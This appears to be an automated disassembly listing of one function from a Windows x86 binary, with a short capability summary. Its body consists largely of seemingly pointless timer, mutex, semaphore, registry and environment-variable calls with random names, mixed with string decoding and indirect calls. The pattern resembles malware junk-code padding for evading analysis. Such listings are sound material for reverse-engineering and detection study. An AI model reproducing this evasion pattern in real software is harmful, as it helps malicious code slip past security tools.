Function at 0x408eaf
Capabilities:
Print debug messages
Resolve function by parsing pe exports
Set environment variable

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xbbc
push ebx
push esi
push edi
push str.WTMR_t51a4cj9
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
mov ebx, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov esi, eax
push str.log:_h5fxqpln
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
push esi
call edi
mov esi, dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push str.fl6cvzmn
push str.8tbwk1dt
call esi
push str.WTMR_dzkplxd2
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
push str.log:_rkizjfza
mov dword [esp + 0x14], eax
call ebx
mov eax, dword [esp + 0x10]
test eax, eax
je 0x408f25
push eax
call edi
push str.log:_5qvdjrlo
call ebx
jmp 0x408f31
push str.sozdspep
push str.vzu7vprh
call esi
push 0x210
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call edi
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
xor eax, eax
push eax
push 0x1008
push eax
push 4
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov esi, eax
lea eax, [esp + 0x78]
push eax
push 0x20019
push 0
push str.regppdjvhj9
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.xuvzkmrv
push str.lzll6uo4
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push str.ev_e9c29j8f
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push str.MTX7t7yigli
xor esi, esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
test eax, eax
je 0x408fd5
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
jmp 0x408fdc
push str.log:_o6y3kr9v
call ebx
lea eax, [esp + 0x10]
push eax
push 0x20019
push esi
push str.regxw74ohto
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push str.XMLs735vbcn
push 1
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push esi
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
push str.log:_61gy0voo
call ebx
lea eax, [esp + 0x88]
push eax
push str.s_j5hdvucg
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push esi
call dword [sym.imp.ole32.dll_CoInitialize]
push str.WTMR_tqrhw1zd
push 1
push esi
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
mov esi, eax
call edi
push esi
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
push str.WTMR_icl8pihd
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [esp + 0x10], eax
lea eax, [esp + 0x7c]
push eax
push 0x20019
push 0
push str.regedpfh7uw
push 0x80000001
call esi
mov eax, dword [esp + 0x10]
test eax, eax
je 0x409093
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
jmp 0x4090ab
lea eax, [esp + 0x10]
push eax
push 0x20019
push 0
push str.regm77dd6ro
push 0x80000001
call esi
mov esi, dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push str.SMPHR_h2c9zzwu
push 1
push 0
push 0
call esi
push 0
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
lea eax, [esp + 0x1c8]
push eax
push str.s_0z34o1do
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push str.XMLj31c3o3o
push 1
push 0
push 0
call esi
push 0
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
push str.1nb8ojah
push str.1burf4d5
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push str.MTXm865b93s
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [esp + 0x10], eax
test eax, eax
je 0x409130
call edi
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
jmp 0x409139
call edi
push str.log:_s432f25f
call ebx
call section..text
push str.SMPHR_vbmonqo4
push 1
push 0
push 0
call esi
mov esi, eax
lea eax, [esp + 0x80]
push eax
push 0x20019
push 0
push str.regbyemqt3n
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push 0
push 1
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
test eax, eax
je 0x40918b
push str.kefqrse1
push str.3ne43b2q
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
xor esi, esi
push esi
push 0xcac
push esi
push 4
push esi
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x178
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
call edi
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
push str.log:_senx79rn
call ebx
push str.XMLst1590iw
push 1
xor esi, esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push esi
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
push str.ev_b2ctsay8
push esi
push 1
push esi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov esi, dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
push str.WTMR_x5t0i78e
push 1
push 0
call esi
mov dword [esp + 0x10], eax
lea eax, [esp + 0x84]
push eax
push 0x20019
push 0
push str.reg9khjllcn
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov eax, dword [esp + 0x10]
test eax, eax
je 0x409241
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
push str.WTMR_bytibn8d
push 1
push 0
call esi
push str.8bunsfxm
push str.cxm9nd7k
mov esi, eax
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push esi
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
push str.MTX4wkruh10
xor esi, esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
test eax, eax
je 0x409281
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
jmp 0x409291
push str.kfal089y
push str.xajr4b3g
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
call fcn.0040fac9
test eax, eax
jne 0x4092a1
push esi
call dword [0x41a02c]
mov ecx, str.ca77ed9f61111863e1aeb2022d5f0cbf
call fcn.00410d4a
push str.WTMR_a134achv
push 1
push esi
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
mov esi, eax
lea eax, [esp + 0x60]
push eax
push 0x20019
push 0
push str.regn21pzf9z
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push esi
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
push str.jyq5le7j
push str.3n14cs44
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push str.SMPHR_flhwwoz2
push 1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
mov esi, eax
call edi
push 0
push 1
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
test eax, eax
jne 0x409332
lea eax, [esp + 0x10]
push eax
push 0x20019
push 0
push str.regxofnfja2
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push str.MTXyvh9nja4
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [esp + 0x10], eax
test eax, eax
je 0x409383
mov esi, dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push str.z8d7us70
push str.bqs1e72g
call esi
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea eax, [esp + 0x2c]
push eax
push 0x20019
push 0
push str.reg58jx0zjj
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
jmp 0x409392
push str.log:_onf98alf
call ebx
call edi
mov esi, dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
xor eax, eax
push eax
push 0x902
push eax
push 4
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.4has6015
push str.qq7pcgo2
call esi
push str.XML5p98natv
push 1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push 0
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
call edi
push str.WTMR_00sysk5m
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
push str.pzw5goh7
push str.c5jpfb6n
mov dword [esp + 0x18], eax
call esi
mov eax, dword [esp + 0x10]
test eax, eax
je 0x409409
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
call edi
jmp 0x409415
push str.ij2k1bxm
push str.e4lh8eh6
call esi
call fcn.004055b5
call fcn.0040fc62
test eax, eax
je 0x409428
call fcn.004100ab
push 6
pop ebx
push str.wdhnpstf
push str.w84tadtg
call esi
sub ebx, 1
jne 0x40942b
push str.ev_ajrk1hpd
push ebx
push 1
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateEventA]
call ebx
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 0x120
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
push esi
push 0x543
push esi
push 4
push esi
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov esi, eax
lea eax, [esp + 0x64]
push eax
push 0x20019
push 0
push str.regafaoz3g3
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push ecx
mov ecx, 0x415ed0
call fcn.0040f81f
mov dword [esp], str.ev_3ccgrisc
push 0
push 1
push 0
mov dword [esp + 0x3c], eax
call ebx
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
xor ebx, ebx
push ebx
push 0xf31
push ebx
push 4
push ebx
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.WTMR_hwyjz179
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
lea eax, [esp + 0x68]
push eax
push 0x20019
push ebx
push str.regj0hg0tyj
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push str.XML9f153mp1
push 1
push ebx
push ebx
call esi
push ebx
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
push str.MTXxiziikq2
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov ebx, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
test eax, eax
je 0x40955d
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push str.log:_ejoomh22
call ebx
push str.SMPHR_1b8zyxz4
push 1
push 0
push 0
call esi
mov esi, eax
call edi
xor edi, edi
push edi
push 1
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
push ecx
mov ecx, 0x415f78
call fcn.0040f81f
mov dword [esp], str.WTMR_6r8nv4wd
push 1
push edi
mov dword [esp + 0x3c], eax
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
mov esi, eax
lea eax, [esp + 0x6c]
push eax
push 0x20019
push edi
push str.regqeq76p7b
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test esi, esi
je 0x4095da
push esi
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
push str.pee18sn6
push str.9uocpfzl
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
jmp 0x4095e1
push str.log:_opdfa1dh
call ebx
push 0xf9e
push edi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push str.ry5ppago
push str.837k5uxt
mov esi, eax
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
push str.log:_sczfwm1h
call ebx
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [esp + 0x10]
push eax
push 0x20019
push edi
push str.reghit422v1
push 0x80000001
call esi
push ecx
mov ecx, 0x416038
call fcn.0040f81f
mov dword [esp], str.MTX04iot6wd
push edi
push edi
mov dword [esp + 0x28], eax
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
test eax, eax
je 0x409655
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
jmp 0x40966c
push str.e3wuioy3
push str.0n5wier5
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push str.log:_487wb6n3
call ebx
push str.WTMR_5qmgombl
push 1
push edi
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
push str.log:_uc9l7arb
mov dword [esp + 0x14], eax
call ebx
mov eax, dword [esp + 0x10]
test eax, eax
je 0x4096a6
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
push str.hq0k7gzu
push str.nmhrljwq
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
jmp 0x4096bd
lea eax, [esp + 0x10]
push eax
push 0x20019
push edi
push str.regxt8kl7o7
push 0x80000001
call esi
push str.WTMR_eoogmd6l
push 1
push edi
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
push str.log:_c1ftc6fn
mov esi, eax
call ebx
push esi
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
push ecx
mov ecx, 0x416118
call fcn.0040f81f
mov dword [esp], str.XML1hayq2o6
push 1
push edi
push edi
mov dword [esp + 0x20], eax
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push edi
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [esp + 0x70]
push eax
push 0x20019
push edi
push str.regt0ahkrlc
push 0x80000001
call esi
push 5
pop edi
lea eax, [esp + 0x24]
push eax
push 0x20019
push 0
push str.regpxviviwy
push 0x80000001
call esi
sub edi, 1
jne 0x409725
push str.ev_zmoznop3
push edi
push 1
push edi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push str.WTMR_huouba88
push 1
push edi
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
push str.log:_uqxteid5
call ebx
push 0xbd7
push edi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov ebx, dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push str.gdq7ywvw
push str.yhhoj733
call ebx
push str.MTXda2v3yoy
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
push ecx
mov ecx, str.
call fcn.0040f81f
pop ecx
mov dword [esp + 0x24], eax
lea eax, [esp + 0x308]
push eax
push str.s_83yglf4x
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov esi, dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push str.XMLu6mzrtil
push 1
push edi
push edi
call esi
push edi
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
push str.SMPHR_ifbqj5j7
push 1
push edi
push edi
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call edi
xor edi, edi
push edi
push 1
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
test eax, eax
je 0x409836
lea eax, [esp + 0x20]
push eax
push 0x20019
push edi
push str.regffdew9wv
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
jmp 0x409842
push str.nt2bdlaw
push str.eyfjs66x
call ebx
mov eax, dword [esp + 0x2c]
lea ecx, [esp + 0x3c]
mov dword [esp + 0x4c], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 0x50], eax
mov eax, dword [esp + 0x1c]
mov dword [esp + 0x54], eax
mov eax, dword [esp + 0x10]
mov dword [esp + 0x58], eax
mov eax, dword [esp + 0x24]
mov dword [esp + 0x5c], eax
mov eax, dword [0x41a3c0]
mov dword [esp + 0x3c], eax
mov eax, dword [0x41a230]
mov dword [esp + 0x40], edi
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], edi
call fcn.0040cb27
push 0x1000
push 0x40
mov dword [esp + 0x28], eax
call dword [0x41a04c]
push 0x618
push 0x40
mov dword [esp + 0x18], eax
call dword [0x41a04c]
mov esi, eax
call fcn.0041181e
mov edi, eax
call fcn.00411ba4
push dword [0x41a404]
mov ebx, eax
push esi
call dword [0x41a144]
mov edx, edi
mov ecx, eax
call fcn.004110ef
mov edx, dword [0x41a238]
mov ecx, eax
call fcn.004110ef
mov edx, ebx
mov ecx, eax
call fcn.004110ef
mov edx, dword [0x41a3b0]
mov ecx, eax
call fcn.004110ef
mov edx, dword [esp + 0x18]
mov ecx, eax
call fcn.004110ef
mov esi, eax
push esi
push dword [esp + 0x14]
call dword [0x41a144]
push esi
mov dword [esp + 0x20], eax
call dword [0x41a0cc]
push 0x800
push 0x40
call dword [0x41a04c]
mov edi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp + 0x14], eax
xor eax, eax
mov dword [esp + 0x24], eax
mov ecx, dword [esp + eax*4 + 0x4c]
call fcn.00410d4a
mov esi, eax
push esi
mov dword [esp + 0x1c], esi
call dword [0x41a090]
cmp word [esi + eax*2 - 2], 0x2f
je 0x40996f
mov edx, dword [0x41a288]
mov ecx, esi
call fcn.004110ef
mov esi, eax
mov dword [esp + 0x18], eax
lea eax, [esp + 0x44]
xor edx, edx
push eax
push dword [esp + 0x24]
inc edx
mov ecx, esi
push dword [esp + 0x24]
call fcn.0040a4ac
add esp, 0xc
mov dword [esp + 0x28], eax
push str.ev_hqhd46ao
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov esi, dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
push str.WTMR_xdjeha24
push 1
push 0
call esi
test eax, eax
je 0x4099ca
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
xor eax, eax
push eax
push 0x7a1
push eax
push 4
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call ebx
push str.MTXfz0eepvr
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [esp + 0x10], eax
test eax, eax
je 0x409a26
call ebx
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea eax, [esp + 0x2c]
push eax
push 0x20019
push 0
push str.regn14smcdy
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push 0xd2b
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
lea eax, [esp + 0x448]
push eax
push str.s_eex5wg3v
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push str.SMPHR_hdsczs83
push 1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push 0
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
test eax, eax
jne 0x409a7b
push str.log:_xeimun7a
call edi
push str.WTMR_6a7jhwkt
push 1
push 0
call esi
push dword [esp + 0x28]
call dword [0x41a090]
push dword [esp + 0x18]
cmp eax, 0x40
jge 0x409ac2
call dword [0x41a0cc]
cmp dword [esp + 0x28], 0
jne 0x409aae
push 0
call dword [0x41a0cc]
mov eax, dword [esp + 0x24]
inc eax
mov dword [esp + 0x24], eax
cmp eax, 5
jl 0x40993e
jmp 0x409ada
push dword [esp + 0x18]
call dword [0x41a144]
push dword [esp + 0x18]
mov dword [esp + 0x18], eax
call dword [0x41a0cc]
push 0xb40
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
push str.log:_hrn0yg5r
call edi
push str.WTMR_x2xxekpe
push 1
push 0
call esi
test eax, eax
je 0x409b0d
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
call ebx
push str.SMPHR_vsaohqzt
push 1
xor esi, esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push esi
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
test eax, eax
je 0x409b35
push str.log:_booxreun
call edi
jmp 0x409b37
call ebx
push str.ev_i937em36
push esi
push 1
push esi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push str.MTXcczhc7qb
xor esi, esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
test eax, eax
je 0x409b79
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push str.log:_hiz2agrs
call edi
jmp 0x409b94
lea eax, [esp + 0x10]
push eax
push 0x20019
push esi
push str.regm88o0hy4
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push dword [esp + 0x20]
call dword [0x41a0cc]
push dword [esp + 0x1c]
call dword [0x41a0cc]
push 0x208
push 0x40
call dword [0x41a04c]
lea ecx, [esp + 0x18]
mov dword [esp + 0x18], eax
call fcn.0041019a
cmp dword [esp + 0x28], esi
je 0x40a491
push esi
push 0x1095
push esi
push 4
push esi
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.WTMR_u9afbzi4
push 1
push esi
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
mov esi, eax
lea eax, [esp + 0x74]
push eax
push 0x20019
push 0
push str.regxst61avj
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push esi
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
call ebx
push str.ev_xzb10mzg
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push str.WTMR_ih6h92v0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
push str.log:_a5guz0ku
mov esi, eax
call edi
test esi, esi
je 0x409c60
push esi
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
jmp 0x409c62
call ebx
lea eax, [esp + 0x588]
push eax
push str.s_dxhotedi
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov esi, dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push str.XMLmx3n3e3i
push 1
push 0
push 0
call esi
push 0
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
call ebx
push str.SMPHR_9jul60xw
push 1
push 0
push 0
call esi
push 0
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
mov esi, dword [esp + 0x28]
mov ecx, esi
mov edx, dword [esp + 0x18]
call fcn.0040cb68
push dword [0x41a504]
and dword [esp + 0x20], 0
push esi
call dword [0x41a190]
test eax, eax
je 0x409ce3
sub eax, esi
sar eax, 1
mov dword [esp + 0x1c], eax
jmp 0x409ceb
push 0xffffffffffffffff
call dword [0x41a02c]
push 0x100
push 0x40
call dword [0x41a04c]
push esi
mov dword [esp + 0x24], eax
call dword [0x41a090]
push eax
mov eax, dword [esp + 0x20]
lea edx, [esp + 0x24]
add eax, 6
mov ecx, esi
push eax
call fcn.00410ae4
pop ecx
pop ecx
test eax, eax
jne 0x409d25
push 0xfffffffffffffffe
call dword [0x41a02c]
mov edx, dword [esp + 0x20]
mov ecx, dword [esp + 0x14]
call fcn.004110ef
push dword [esp + 0x20]
mov dword [esp + 0x18], eax
call dword [0x41a0cc]
mov esi, 0x208
push esi
push 0x40
call dword [0x41a04c]
push dword [esp + 0x18]
push eax
call dword [0x41a144]
mov edx, dword [0x41a29c]
mov ecx, eax
call fcn.004110ef
mov edx, dword [0x41a438]
mov ecx, eax
call fcn.004110ef
push esi
push 0x40
mov dword [esp + 0x38], eax
call dword [0x41a04c]
push dword [esp + 0x18]
push eax
call dword [0x41a144]
mov edx, dword [0x41a29c]
mov ecx, eax
call fcn.004110ef
mov edx, dword [0x41a55c]
mov ecx, eax
call fcn.004110ef
push dword [esp + 0x18]
mov dword [esp + 0x14], eax
call dword [0x41a0dc]
push 0x5000
push 0x40
call dword [0x41a04c]
push 0x2800
mov esi, eax
push esi
push dword [0x41a370]
call dword [0x41a164]
mov edx, dword [0x41a200]
mov ecx, esi
call fcn.004110ef
mov edx, dword [esp + 0x18]
mov ecx, eax
call fcn.004110ef
mov esi, eax
push esi
push dword [0x41a370]
call dword [0x41a168]
push esi
call dword [0x41a0cc]
push dword [esp + 0x14]
mov esi, dword [esp + 0x2c]
push esi
call fcn.0040f1f6
push dword [esp + 0x10]
call dword [0x41a03c]
mov dword [esp + 0x2c], eax
test eax, eax
je 0x40a295
push str.ev_euj2iwdt
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push str.MTXi0nzudik
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
test esi, esi
je 0x409e84
call ebx
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea eax, [esp + 0x1c]
xor esi, esi
push eax
push 0x20019
push esi
push str.regx20edoks
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
jmp 0x409e86
xor esi, esi
push str.XMLlviov7hh
push 1
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push esi
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
push 0xda4
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
call ebx
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
call ebx
lea eax, [esp + 0x6c8]
push eax
push str.s_2ioh2aty
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
xor esi, esi
push esi
push 0xf43
push esi
push 4
push esi
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.WTMR_a15et7h3
push 1
push esi
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
mov esi, dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push str.0tsgowc6
push str.xxgy5hok
mov dword [esp + 0x24], eax
call esi
mov eax, dword [esp + 0x1c]
test eax, eax
je 0x409f29
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
push str.log:_p2slehu8
call edi
jmp 0x409f35
push str.zg7bnl24
push str.bdnpk1kn
call esi
push str.SMPHR_rreizhwr
push 1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
mov esi, eax
lea eax, [esp + 0x24]
push eax
push 0x20019
push 0
push str.regxcj7hpvd
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push 0
push 1
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
mov ecx, dword [esp + 0x28]
call fcn.0040548f
lea eax, [esp + 0x808]
push eax
push str.s_er2vppaq
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push str.MTXcl7cf831
xor esi, esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
test eax, eax
